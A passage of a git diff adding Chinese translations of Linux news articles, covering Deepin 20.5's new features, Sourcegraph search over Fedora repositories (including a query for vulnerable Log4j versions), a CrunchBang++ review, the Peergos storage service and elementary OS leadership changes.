+相信我,这是一件好事情。 + +Linux 发行版以各种桌面环境的形式向大众提供。深度看起来很主流,可以吸引年轻群体。 + +中国的深度开发团队的也有相同目标,因此深度发布了 20.5 版本,该版本主要亮点是面部识别。 + +### 深度操作系统 20.5 的新功能 + +新版本根据用户的反馈增加了几个功能。稳定的内核版本现在已经升级到 5.15.24,并修复几个错误,以加强系统安全性。 + +让我们来看看这个版本还有哪些新功能吧。 + +#### Linux 上有了面部解锁 + +![][1] + +是的,我知道 Linux 上早就有面部解锁的相关消息了。毕竟,我曾经写过一篇关于 [在 Linux 发行版中使用类似 Howdy 的软件来支持面部解锁功能][2] 的详细指南。 + +然而,那些软件更多的是一种个性化定制,是为那些有经验的、爱折腾的用户准备的。 + +深度现在提供基于人脸的生物识别认证方法。它可以在有内置摄像头的笔记本电脑上工作。 + +你需要先在控制中心录入人脸信息,此后,你就可以用你的人脸 ID 登录系统。 + +#### 用户可在应用商店中反馈 + +你现在可以直接在应用商店中提交对某个应用的反馈。 + +![][3] + +这还不算完。当你有应用程序的安装和更新问题时,你可以在应用程序中直接向官方支持提交问题,并获得解决方案(如果开发者提供了的话)。 + +#### 改进的邮件应用 + +![][4] + +深度邮件应用现在支持了自定义文件夹管理。它还可以在网络重新连接后自动接收邮件。邮件应用的框架和插件已经替换成了当下流行的 Vue + TinyMCE。 + +现在,你可以通过点击系统通知直接跳转到到新邮件。为提高工作效率,你可以置顶常用邮件与合并邮件。你也可以预览邮件附件。 + +#### 可以“钉住”的屏幕截图 + +![][5] + +你现在可以使用内置的屏幕截图工具来“钉住”截图。这样一来,捕获的屏幕截图就会固定在其他应用程序窗口的顶部。从而,你可以同时使用其他应用程序,以提高你的工作效率。另外,置顶的屏幕截图是可以移动的。 + +#### 其他变化 + +下面是 Deepin 20.5 新版本中的一些其他变化: + + * Linux 稳定内核更新到了 5.15.24 + * 可以为一个有线网络适配器设置多个 IP + * 优化了无线网络的密码认证交互 + * 系统搜索现在可以使用文件类型和扩展名作为关键词 + * 设备管理器允许你禁用或启用设备 + * 浏览 docx 文件的文档查看器得到了性能优化 + +还有许多我没有提到的小功能和改进。你可以在 [版本发布说明][6] 中了解这些内容。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/deepin-os-20-5-release/ + +作者:[Abhishek][a] +选题:[lujun9972][b] +译者:[lkxed](https://github.com/lkxed) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/root/ +[b]: https://github.com/lujun9972 +[1]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/04/face-unlock-deepin.jpg?w=900&ssl=1 +[2]: https://itsfoss.com/face-unlock-ubuntu/ +[3]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/04/app-store-feedback-deepin.webp?resize=1568%2C980&ssl=1 +[4]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/04/deepin-mail-app.webp?w=900&ssl=1 +[5]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/04/pinned-screenshots-deepin.webp?w=900&ssl=1 +[6]: https://www.deepin.org/en/2022/03/31/deepin-20-5/ diff --git a/published/202204/20220401 Using Sourcegraph to Search 34,000- Fedora Repositories.md b/published/202204/20220401 Using Sourcegraph to Search 34,000- Fedora Repositories.md new file mode 100644 index 0000000000..aed35d1902 --- /dev/null +++ b/published/202204/20220401 Using Sourcegraph to Search 34,000- Fedora Repositories.md @@ -0,0 +1,148 @@ +[#]: subject: "Using Sourcegraph to Search 34,000+ Fedora Repositories" +[#]: via: "https://fedoramagazine.org/using-sourcegraph-to-search-34000-fedora-repositories/" +[#]: author: "Justin Dorfman https://fedoramagazine.org/author/jdorfman/" +[#]: collector: "lujun9972" +[#]: translator: "lkxed" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14434-1.html" + +使用 Sourcegraph 搜索 34000 多个 Fedora 仓库 +====== + +![](https://img.linux.net.cn/data/attachment/album/202204/05/151255yuq9zem6euei5ui5.jpg) + +在 2021 年 10 月,一个 Fedora Linux 用户 [问了一个关于许可的问题][4]。Fedora 项目负责人 Matthew Miller [回复道][5]:“我不能快速地检查(这个问题),因为我们没有一个完整的、庞大的、可搜索的存储库来检索 Fedora 中所有软件包。” + +[接着他说][6]:“……或许我们可以付钱给 Sourcegraph,让他们帮我们做这个。他们看起来乐于助人。” 他说的没错,我们(Sourcegraph)的确是乐于助人,而且我们还不想要你的钱,相反,我们想与 Fedora 社区合作。 + +Fedora 社区现在可以在他们的开源代码世界中尽情搜索 —— 目前有超过 34,000 个存储库,而且还在不断增加。 + +### 代码搜索简介 + +如果你还不熟悉 [代码搜索][7] 的概念,我现在就来告诉你。代码搜索可以让团队更快地掌握一个新的代码库,在里面找到答案,帮助团队识别安全风险,以及许多其他用例。Sourcegraph 已经在 GitHub 和 GitLab 等多个代码托管服务上,索引了 200 多万个存储库。本文只关注 src.fedoraproject.org 的代码搜索。Sourcegraph 同时提供了一个 [Web 应用][8] 和 [命令行客户端][9]。 + +### 使用 Web 应用 + +在使用 Sourcegraph [Web 应用][8] 时,你需要先输入初始字符串 `repo:^src.fedoraprojects.org`,然后再开始查询。这个 [Web 应用][8] 链接中包括了上面的初始字符串,点击这个链接后,搜索界面如下图所示: + +![Sourcegraph Web 应用界面][10] + +下面我将提供几个使用 Web 应用程序进行搜索的例子,大家可能会对它们感兴趣。 + +#### 查找使用流行的经 OSI 批准的许可证的存储库 + +下面的查询语句将扫描所有兼容 “开源定义Open Source Definition”(OSD) 的软件存储库。 + +``` +repo:^src.fedoraproject.org/ lang:"RPM Spec" License: ^.*apache|bsd|gpl|lgpl|mit|mpl|cddl|epl.*$ +``` + +![许可证搜索][11] + +> [试一下!][12] + +#### 查找带有 TODO 的文件 + +下面的查询语句将在 34,000 多个仓库中找到 `TODO` 文件。对于那些希望为需要帮助的项目做出贡献的人来说,是一个非常棒的功能。 + +``` +repo:^src.fedoraproject.org/ "TODO" +``` + +![搜索 TODO][13] + +> [试一下!][14] + +#### 查找 FTP 服务器上的文件 + +我的一个前同事告诉我 “FTP 是一个死协议”。真的是这样吗?你也可以在这个查询中加入任何其他协议,如 irc、https 等。 + +``` +repo:^src.fedoraproject.org/ (?:ftp)://[A-Za-z0-9-]{0,63}(.[A-Za-z0-9-]{0,63})+(:d{1,4})?/*(/*[A-Za-z0-9-._]+/*)*(?.*)?(#.*)? +``` + +![搜索协议][15] + +> [试一下!][16] + +#### 查找使用有漏洞的 Log4j 版本的文件 + +这个查询语句将找到任何可能存在 CVE-2021-44228(也就是 Log4j)漏洞的文件(可能会有误报)。你也可以搜索其他漏洞,然后报告给项目维护者。 + +``` +repo:^src.fedoraproject.org/ org.apache.logging.log4j 2.((0|1|2|3|4|5|6|7|8|9|10|11|12|13|14|15)(.[0-9]+)) count:all +``` + +![搜索 log4j][17] + +> [试一下!][18] + +### 使用命令行 + +Sourcegraph 还有一个叫做 [src][19] 的命令行客户端,它可以让你完成我刚才提到的所有事情。此外,它还有其他一些有用的命令。比如说,它可以把结果用 JSON 格式输出,方便你在编程中使用。 + +``` +src search -json 'repo:^src.fedoraproject.org/ lang:"RPM Spec" License: ^.*apache|bsd|gpl|lgpl|mit|mpl|cddl|epl.*$' +``` + +#### 输出 JSON + +![输出 JSON][20] + +> [试一下!][21] + +### 搜索语法 + +就入门而言,上面的例子是很好的起点,但 Sourcegraph 还支持更多的查询语句。你可以 [查看所有的搜索查询语法][22],并根据需要创建你自己的查询语句。 + +### 总结 + +正如你所看到的,有了 Sourcegraph,Fedora Linux 社区现在可以快速搜索托管在 [src.fedoraproject.org][23] 上的所有代码,无论是使用普通查询还是复杂的正则查询。 + +感谢 Fedora Linux 社区的慷慨帮助和热情欢迎。如果你有任何想补充的内容或问题,我和我的团队都会在下面的评论区回复。你也可以 [在 Slack 上找到我们][24]。 + +特别感谢 [Vanesa Ortiz][25] 促成了这次合作,还有 [Ben Venker][27] 帮助修复了我的正则表达式(多次),以及 [Rebecca Dodd][28] 和 [Nick Moore][29] 在编辑上的帮助。 + +-------------------------------------------------------------------------------- + +via: https://fedoramagazine.org/using-sourcegraph-to-search-34000-fedora-repositories/ + +作者:[Justin Dorfman][a] +选题:[lujun9972][b] +译者:[lkxed](https://github.com/lkxed) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://fedoramagazine.org/author/jdorfman/ +[b]: https://github.com/lujun9972 +[1]: https://fedoramagazine.org/wp-content/uploads/2022/03/sourcegraph-816x345.jpg +[2]: https://unsplash.com/@markuswinkler?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText +[3]: https://unsplash.com/s/photos/magnifying-glass?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText +[4]: https://lists.fedoraproject.org/archives/list/legal@lists.fedoraproject.org/thread/CBCJHOSP36YXQKCVGWVL5MXU64LZ6NZA/ +[5]: https://lists.fedoraproject.org/archives/list/legal@lists.fedoraproject.org/message/LTIQS2PX33FSCEIAPJS62UZXVPDT5JPB/ +[6]: https://lists.fedoraproject.org/archives/list/legal@lists.fedoraproject.org/message/5GEPBSRGUK5E2FLW4MQBVP6DI65XP2LQ/ +[7]: https://codesearchguide.org/ +[8]: https://sourcegraph.com/search?q=context:global+repo:%5Esrc.fedoraproject.org/&patternType=regexp +[9]: https://docs.sourcegraph.com/cli/quickstart +[10]: https://fedoramagazine.org/wp-content/uploads/2022/03/Image-2022-03-28-at-1.41.54-PM-1024x335.png +[11]: https://fedoramagazine.org/wp-content/uploads/2022/03/license-1024x513.png +[12]: https://sourcegraph.com/search?q=context:global+repo:%5Esrc.fedoraproject.org/+lang:%22RPM+Spec%22+License:+%5E.*apache%7Cbsd%7Cgpl%7Clgpl%7Cmit%7Cmpl%7Ccddl%7Cepl.*%24&patternType=regexp +[13]: https://fedoramagazine.org/wp-content/uploads/2022/03/todo-1024x605.png +[14]: https://sourcegraph.com/search?q=context:global+repo:%5Esrc.fedoraproject.org/+%22TODO%22&patternType=regexp&case=yes +[15]: https://fedoramagazine.org/wp-content/uploads/2022/03/protocol-1024x457.png +[16]: https://sourcegraph.com/search?q=context:global+repo:%5Esrc.fedoraproject.org/+%28%3F:ftp%29:%5C/%5C/%5BA-Za-z0-9%5C-%5D%7B0%2C63%7D%28%5C.%5BA-Za-z0-9%5C-%5D%7B0%2C63%7D%29%2B%28:%5Cd%7B1%2C4%7D%29%3F%5C/*%28%5C/*%5BA-Za-z0-9%5C-._%5D%2B%5C/*%29*%28%5C%3F.*%29%3F%28%23.*%29%3F&patternType=regexp +[17]: https://fedoramagazine.org/wp-content/uploads/2022/03/log4j-1024x295.png +[18]: https://sourcegraph.com/search?q=context:global+repo:%5Esrc.fedoraproject.org/+org%5C.apache%5C.logging%5C.log4j+2.%28%280%7C1%7C2%7C3%7C4%7C5%7C6%7C7%7C8%7C9%7C10%7C11%7C12%7C13%7C14%7C15%29%28%5C.%5B0-9%5D%2B%29%29+count:all&patternType=regexp +[19]: https://github.com/sourcegraph/src-cli#readme +[20]: https://fedoramagazine.org/wp-content/uploads/2022/03/Image-2022-03-22-at-9.46.26-AM-1024x521.png +[21]: https://sourcegraph.com/notebooks/Tm90ZWJvb2s6MzQ2 +[22]: https://docs.sourcegraph.com/code_search/reference/queries +[23]: https://src.fedoraproject.org/ +[24]: https://srcgr.ph/wp-join-community-space +[25]: https://twitter.com/vanesacodes +[26]: https://discussion.fedoraproject.org/t/fedora-sourcegraph-marketing-community-collaboration/36151 +[27]: https://handbook.sourcegraph.com/team/#ben-venker +[28]: https://handbook.sourcegraph.com/team/#rebecca-dodd +[29]: https://twitter.com/nickwritesit diff --git a/published/202204/20220402 CrunchBang-- Linux - The Ultimate Lightweight and Stable Linux Distribution.md b/published/202204/20220402 CrunchBang-- Linux - The Ultimate Lightweight and Stable Linux Distribution.md new file mode 100644 index 0000000000..ce94cab1b7 --- /dev/null +++ b/published/202204/20220402 CrunchBang-- Linux - The Ultimate Lightweight and Stable Linux Distribution.md @@ -0,0 +1,155 @@ +[#]: subject: "CrunchBang++ Linux – The Ultimate Lightweight and Stable Linux Distribution" +[#]: via: "https://www.debugpoint.com/2022/04/crunchbang-linux-review/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lujun9972" +[#]: translator: "lxbwolf" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14454-1.html" + +CrunchBang++ Linux —— 极致轻量和稳定的 Linux 发行版本 +====== + +> 我们来对基于 Debian 的、由 Openbox 驱动的轻量级 Linux 发型版本 Crunchbang++ Linux 进行了评测,并为你提供了如何使用它的指导。 + +CrunchBang 项目已经停止维护,CrunchBang++ Linux 是这个独特的项目的继承者。早期的 CrunchBang Linux 很受欢迎,因为它使用非常少的系统资源,对低端硬件也很友好。而 CrunchBang++ 也有一个 32 位的安装程序(现在很少见),可以在过时的硬件或 PC 上正常运行。 + +在我们之前介绍 [顶级轻量级 Linux 发行版][1] 的文章中,有读者评论想让我们介绍 CrunchBang++。因此,我们想从性能、无障碍访问和其他因素等方面对这个超级轻量级的 Linux 发行版做一个深入的研究。让我们深入了解一下。 + +### CrunchBang++ Linux 测评 + +![CrunchBang++ Linux Desktop with Openbox][2] + +#### 现场介质和安装 + +目前为止,CrunchBang++ 基于最新的 Debian 11 Bullseye,并提供 32 位和 64 位 ISO 变体。你可以从其 [官方网站][3] 下载。本文中,我们使用 64 位的安装程序,其大小为 1.6 GB,与当今流行的 Linux 发行版的 ISO 大小相比,是很小的。例如,最新的 Ubuntu 64 位桌面 ISO 就很大,已经超过了 3.2 GB。 + +安装程序的启动菜单提供了测试现场镜像Live Image和启动安装程序的选项。你可以先从现场镜像开始。但是,你不能从现场介质安装!相反,你必须再次启动并选择重新安装选项。现场桌面Live desktop的用户 ID 和密码都是 “live”。 + +![Installation in the boot menu][4] + +在物理机和虚拟机([virt-manager][5])上的安装都很顺利。CrunchBang++ 使用 Debian 的原生安装程序,这有点复杂。但你可以按照屏幕上的指示轻松地安装它。如果你不熟悉 Debian 安装程序,你可以参照我们的 [Debian 安装指南][6]。 + +在虚拟机和物理系统上安装过程平均需要约 5 到 10 分钟。 + +#### 桌面初窥 + +CrunchBang++ 给你经典的 Openbox 窗口管理器体验。登录屏幕出乎意料的干净和完美,只有输入凭证的选项。 + +如果你是第一次运行它,有一个欢迎脚本会引导你检查网速,更新你的系统,等等。 + +![The welcome script][7] + +Openbox 本身是快速和干净的。桌面以其预先配置的 SBPP Openbox 主题带来了一个整洁的外观,其组件如下: + + * [gmrun][8]:一个轻量的应用程序启动器 + * [Tint2][9]:桌面顶层的控制面板 + * [dmenu][10]:动态菜单系统 + +你可以通过右键菜单的简单配置选项来配置它们。 + +默认情况下,可以通过顶部面板切换两个工作区。顶部面板也有基本的托盘图标以满足你的需要。 + + * 音量控制 + * 网络连接 + * 语言工具 + * 电量监控 + * 剪贴板管理 + +作为一个窗口管理器,这里没有应用程序视图。但有了 gmrun 应用程序启动器,启动任何应用程序都超级容易。当你需要启动任何应用程序时,Openbox 右键菜单会给你所有的选项。 + +#### 无障碍访问和应用程序 + +CrunchBang++ 只包括最低限度的应用程序,以保持 ISO 和安装的轻便。以下是预装的应用程序。 + + * GIMP + * Thunar 文件管理器 + * Catfish 文件搜索 + * Gnumeric + * VLC 媒体播放器 + * Filezilla + * 远程桌面客户端 + * Transmission Torrent 客户端 + * Screenshot 工具 + * Geany 文本编辑器 + +强大的 Synaptic 软件包管理器会满足你所有的软件需求。LibreOffice 不是默认安装的,所以你需要单独安装它。没有用于集中设置的工具,所以有时你可能会觉得缺少一个设置管理器。 + +#### 性能和资源占用情况 + +CrunchBang++ 的性能对于轻量级发行版来说是完美的。 + +这个发行版使用了 585 MB 的内存,空闲状态下 CPU 占用为 1%。如果你让系统在非活动状态下运行一个小时或更长时间,内存占用会进一步减少到 350 MB 左右。这是一个令人印象深刻的指标。 + +![Performance During Idle State][12] + +为了测试重压工作负载,我们在 CrunchBang++ 中打开了以下应用程序的一个实例: + + * Firefox 两个标签页 + * Thunar 文件管理器 + * GIMP + * Gnumeric + * 文本编辑器 + * 终端 + * Catfish 文件搜索 + +整个工作负载占用内存 1.07 GB,CPU 占用为 5% - 7%。 + +这个发行版的默认安装占用了 4 GB 的硬盘空间。 + +![Performance During Heavy workload State][13] + +#### 连接性 + +我们对它进行了下面列出的各种连接性测试。除了蓝牙,它通过了每一项测试。 + + * Wi-Fi 检测和连接 —— 完美通过测试 + * 它在多个显示器和分辨率配置下能正确工作(由于有预装的 ARandR) + * 自动检测 USB(即使在虚拟机模式下) —— 正常通过测试 + +没有用于蓝牙的启用、发现和连接的工具(有点像 Xfce 桌面)。所以,如果你安装一个实用程序,你应该都能搞定。 + +#### CrunchBang++ 的一些缺点 + +在我看来,这个 Linux 发行版应该由有一些经验的用户来使用,他们在 Linux 中遇到的问题一般都能通过查阅资料解决,并且在需要时也能自如地使用终端。 + +我还发现了一些我认为默认安装需要(而没有安装)的项目。在这个发行版中没有办法配置鼠标、键盘。没有预装任何工具。然而,你可以通过终端对它们进行调整。你可能需要安装额外的应用程序来配置这些。 + +在“最近使用的应用程序”的右键菜单和 Nitrogen 壁纸更换器中有些错误。然而,对于你的日常使用来说,它们并不是一个障碍。 + +所以,总的来说,我认为它很稳定,尽管有所缺失,但可以很好地工作。 + +### 总结 + +在结束对 CrunchBang++ 的测评时,我不得不说它是一个高效和实用的 Linux 发行版。它可能不是一个闪闪发光的桌面,但它是一个稳定的、生产级的 Linux 发行版,可以在任何硬件上运行。你可以很容易地把它作为你的日常使用系统,并在不用重装你的整个系统的情况下使用它多年。CrunchBang++ 是贡献者们创造出的伟大的软件。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/2022/04/crunchbang-linux-review/ + +作者:[Arindam][a] +选题:[lujun9972][b] +译者:[lxbwolf](https://github.com/lxbwolf) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lujun9972 +[1]: https://www.debugpoint.com/2022/03/lightweight-linux-distributions-2022/ +[2]: https://www.debugpoint.com/wp-content/uploads/2022/04/CrunchBang-Linux-Desktop-with-Openbox-1024x576.jpg +[3]: https://crunchbangplusplus.org/ +[4]: https://www.debugpoint.com/wp-content/uploads/2022/04/Installation-in-boot-menu.jpg +[5]: https://www.debugpoint.com/2020/11/virt-manager/ +[6]: https://www.debugpoint.com/2021/01/install-debian-buster/ +[7]: https://www.debugpoint.com/wp-content/uploads/2022/04/The-welcome-script.jpg +[8]: https://github.com/WdesktopX/gmrun +[9]: https://gitlab.com/o9000/tint2 +[10]: https://tools.suckless.org/dmenu/ +[11]: https://www.debugpoint.com/2021/01/extix-21-1-review/ +[12]: https://www.debugpoint.com/wp-content/uploads/2022/04/Performance-During-Idle-State.jpg +[13]: https://www.debugpoint.com/wp-content/uploads/2022/04/Performance-During-Heavy-workload-State.jpg +[14]: https://t.me/debugpoint +[15]: https://twitter.com/DebugPoint +[16]: https://www.youtube.com/c/debugpoint?sub_confirmation=1 +[17]: https://facebook.com/DebugPoint diff --git a/published/202204/20220402 Peergos- An Open-Source Google Drive Alternative That You Can Self-Host.md b/published/202204/20220402 Peergos- An Open-Source Google Drive Alternative That You Can Self-Host.md new file mode 100644 index 0000000000..f64ef4d7c0 --- /dev/null +++ b/published/202204/20220402 Peergos- An Open-Source Google Drive Alternative That You Can Self-Host.md @@ -0,0 +1,129 @@ +[#]: subject: "Peergos: An Open-Source Google Drive Alternative That You Can Self-Host" +[#]: via: "https://itsfoss.com/peergos/" +[#]: author: "Ankush Das https://itsfoss.com/author/ankush/" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14466-1.html" + +Peergos:一个可以自行托管的开源 Google 云端硬盘替代品 +====== + +![](https://img.linux.net.cn/data/attachment/album/202204/13/091252bdnqkkh7rk0mkv7m.jpg) + +Google 云端硬盘Google Drive 是最受欢迎的云存储服务之一。而且,由于合理的原因,它提供了灵活的定价、区域定价和许多其他优势。 + +不幸的是,它不提供端对端加密。此外,它不是一个开源的产品。 + +那么,我们是否有开源的 Google 云端硬盘的替代品? + +当然,有 [免费的云存储服务][1],但它们不是开源的,也不是完全安全/私密的。 + +不用担心,我们有一个优秀的开源解决方案,即 **Peergos**。 + +### Peergos:一个带有迷你社交网络平台的点对点开源云存储服务 + +![][2] + +[Peergos][3] 不仅仅是 Google 云端硬件的一个普通替代品,也不仅仅是一个私人网络存储平台。 + +有了 Peergos,你会得到一个建立在 [IPFS 协议][4](点对点)之上的端到端加密的私人网络空间。使用这样的协议使它成为一个去中心化的存储平台。 + +不仅限于其安全/隐私,你还可以使用新闻源在平台上与你的朋友进行社交。 + +例如,你上传照片并与你的朋友分享,其他用户(你的朋友)可以在他们的新闻源中看到它们,并像社交媒体平台一样互动。 + +你还可以添加待办事项,组织日历,并根据需要与合作者/朋友分享。 + +换句话说,你也可以把 Pergos 视为 [Nextcloud][5] 在某种程度上的替代品。 + +你可以选择自行托管 Peergos,也可以选择他们的云服务,开始是免费的(200MB 存储空间),可以升级到 50GB,价格为 **£5/月**,或者 500GB,价格为 **£25/月**。 + +让我强调一下 Pergos 的一些主要特性。 + +### Peergos 的特点 + +![][6] + +考虑到你在 Peergos 获得的各种功能,以下是亮点: + + * 端对端加密存储。 + * 能够分享你的照片、视频和文件。 + * 如果需要,生成链接让其他用户下载你的文件。 + * 保持你的活动私密,不记录你的使用情况。 + * 你可以自我托管 Peergos,让你完全控制。 + * 私有元数据,保持你的联系人列表、文件大小、目录结构和其他信息的隐蔽性。 + * 提供一个去中心化的存储,你可以无缝访问。 + * 开源,并经过审计。 + * 社交媒体网络能力。 + * 待办事项列表和任务管理。 + * 协作功能。 + * 支持 Markdown。 + * 查看 PDF 文件的能力。 + * 访问日历,创建和组织事件。 + * 网站目录,如果你自行托管,可以使用个性化的 URL 或本地端口访问。 + +Peergos 是一个功能丰富的产品,可以让你存储你的文件,而不用担心对公司的信任问题。 + +虽然它不是完全匿名的,但 Pergos 作为一项服务不会记录你的任何信息。 + +此外,如果你想完全控制一切,你可以自行托管。 + +### 开始使用 Pergos + +你需要 [注册][7](云选项)或按照其 [GitHub 页面][8] 中的说明自行托管它。 + +![][9] + +200MB 的免费空间是相当低的。然而,如果你想存储你的一些重要文件,以及选择照片集,这对一些人来说可能是有用的。 + +高级升级版可以选择上升到 500GB 的存储空间,每月 **25 英镑**。 + +![][10] + +在该平台上切换是相当容易的,用户界面看起来也不错。 + +![][11] + +它支持深色模式,所以你可以随时切换它。可用的共享选项应该足以满足各种合作的需要。 + +使用组来控制对共享文件的访问是一个有趣的想法。 + +![][12] + +> - 访问 [Peergos][3] + +### 总结 + +Peergos 是一个独特的产品,你可以自行托管。它是开源的,并为隐私爱好者提供了所有好东西来存储文件和安全地进行合作。 + +云服务可能因其免费存储空间少而不具吸引力。但是,如果你真的喜欢这个概念,你可以选择升级到一个具有更多存储空间的高级计划。 + +如果你想要一个 Google Drive 的开源替代品,Peergos 可以是一个有趣的选择。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/peergos/ + +作者:[Ankush Das][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/ankush/ +[b]: https://github.com/lujun9972 +[1]: https://itsfoss.com/cloud-services-linux/ +[2]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/04/peergos-home.png?resize=800%2C623&ssl=1 +[3]: https://peergos.org/ +[4]: https://ipfs.io/ +[5]: https://itsfoss.com/nextcloud/ +[6]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/04/peergos-social.png?resize=800%2C633&ssl=1 +[7]: https://peergos.net/?signup=true +[8]: https://github.com/peergos/peergos +[9]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/03/peergos-sign-up.png?resize=800%2C684&ssl=1 +[10]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/03/peergos-signup.png?resize=800%2C481&ssl=1 +[11]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/03/peergos-dark.png?resize=800%2C513&ssl=1 +[12]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/03/peergos-sharing.png?resize=800%2C715&ssl=1 diff --git a/published/202204/20220403 Is this the End of the road for elementary OS.md b/published/202204/20220403 Is this the End of the road for elementary OS.md new file mode 100644 index 0000000000..c5865f6daa --- /dev/null +++ b/published/202204/20220403 Is this the End of the road for elementary OS.md @@ -0,0 +1,73 @@ +[#]: subject: "Is this the End of the road for elementary OS?" +[#]: via: "https://www.debugpoint.com/2022/04/end-of-elementary-os/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lujun9972" +[#]: translator: "hwlife" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14449-1.html" + +elementary OS 系统走到头了吗? +====== + +> Cassidy James 是 elementary OS 系统的创始人,根据他最近的声明得知他已经辞职。下面是我们对这一话题的看法,以及可能的未来。 + +![elementary OS 6 ODIN Desktop][1] + +早在十年前,当 elementary OS 首次发布时,它率先带领 Linux 桌面领域迈出了新的一步。Cassidy 有一个愿景,从那时只有开发者和贡献者在使用的 Linux 桌面,到全世界用户都能够使用它。它的 Pantheon 桌面是最好的桌面之一,从一开始就是为美学和生产力而设计的。 + +多年来,elementary OS 已经成长起来了。它的用户群和受欢迎程度一直在增加,因为它的稳定性、基于 Ubuntu 长期支持版,对于那些希望在 Linux 中拥有类似 macOS 的用户界面的人来说,是一个完美的桌面。它的基于 Flatpak 的应用商店也是在 Linux 生态系统中最好的应用商店之一,具有一套精心打造的应用程序。 + +如果你用免费软件经营公司,除非你有一个在背后支撑的企业和其它盈利模式,否则这些优势和良好的用户反馈,是无法变成盈利的。 + +### 为什么会出现这种情况,这是 elementary OS 系统的终点吗? + +elementary OS 有一个 “付费下载” 的收入模式,这是自愿的。但是疫情已经两年了,这方面的销售收入也在下降,该公司的领导层为了维持公司运转,已经削减了全职员工的工资和医疗福利。 + +> “自从我全职投入 elementary 公司以来,每一个版本的销售业绩都要比上一个表现要好,直到 OS 6 和 6.1 的业绩表现远远低于预期,部分原因是持续的全球疫情,人们看起来在能免费下载操作系统的时候,不再想支付可选的金额来下载它。很明显,我们需要重新确定我们公司财务的优先次序,同时坚定我们的开源、以隐私为中心和道德的筹资信念。”Cassidy 在他的告别信中说道。 + +全球经济在疫情的打击下,所有人和事都无法幸免。[elementary OS 6 Odin][2] 的发布并不顺利。有一些错误、英伟达显卡的问题和其他问题,全球疫情和贡献的减少也影响了软件的质量。这最终影响到了自愿付费下载的收入。 + +自愿付费下载模式、GitHub 的赞助,用来维持企业运转和大型项目是远远不够的。如果你看看其他的主流开源项目,如 Fedora Linux、GNOME、KDE Plasma,它们都有来自 Red Hat、IBM、Google 等大企业的大量赞助。而这是有原因的,这些大公司都从这些开源项目中获得商业利益。但是对于 elementary OS 来说,情况就有点不同了。 + +> Cassidy 又写道,“结果,Dani 要求我辞职,并完全离开 elementary。在我寻找另一个职位时,这并不是我的本意,但是 Dani 一直坚持(要我离开)。最后,我决定,最好的行动方案确实是我继续前行;我放弃了我对 elementary 十多年的激情,接受了 Dani 的提议,让她成为 elementary 公司唯一的、100% 的所有者。我已经签署了我的辞呈。从今天起,她现在拥有公司的所有股份和责任。我祝愿她在延续公司的遗产方面取得最好的成绩。” + +### 展望未来 + +确实,我能在告别信中感受到 Cassidy 的感情。放弃你多年来建立的项目和激情是不容易的。那里有你在为社区获得更大利益的愿景而投入的无数个日日夜夜。你的感情与之相连。放弃并不容易。 + +没有人能够预测未来。所以,我们不知道在未来的日子里 elementary OS 系统作为一个项目会发生什么。当情况发生了,开源公司最终会成为一个有更多受众和贡献者的社区项目。我觉得新的领导人需要看看 elementary OS 在 Linux 发行版或桌面领域方面的未来路线图。 + +因为带有 GTK4/libadwaita 的 GNOME 42+ 看起来很有前途,elementary OS 可能会因为 GNOME 而失去用户群。在这种情景下,唯一的卖点只有 Pantheon 桌面,这就需要更多的打磨和市场化能力,同时新的领导层也需要寻找更好的收入模式。 + +我们希望,作为一个社区,elementary OS 能够继续推出新版本,如果必要的话,让它成为没有 GitHub 赞助墙的社区项目。而我认为寻找企业基金和捐赠也可以成为维持项目运行的长期选择之一。 + +任何开源项目都不应该停止。我希望新的领导层能够找到更好的收入模式来维持这个项目。只要思想不滑坡,方法总比困难多。 + +所以,关于这整个情况你有什么看法?在下方评论让我知道。 + +谢谢。 + +*部分引用自 [Cassidy 的博客][4]* + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/2022/04/end-of-elementary-os/ + +作者:[Arindam][a] +选题:[lujun9972][b] +译者:[hwlife](https://github.com/hwlife) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lujun9972 +[1]: https://www.debugpoint.com/wp-content/uploads/2021/08/elementary-OS-6-ODIN-Desktop-1024x576.jpeg +[2]: 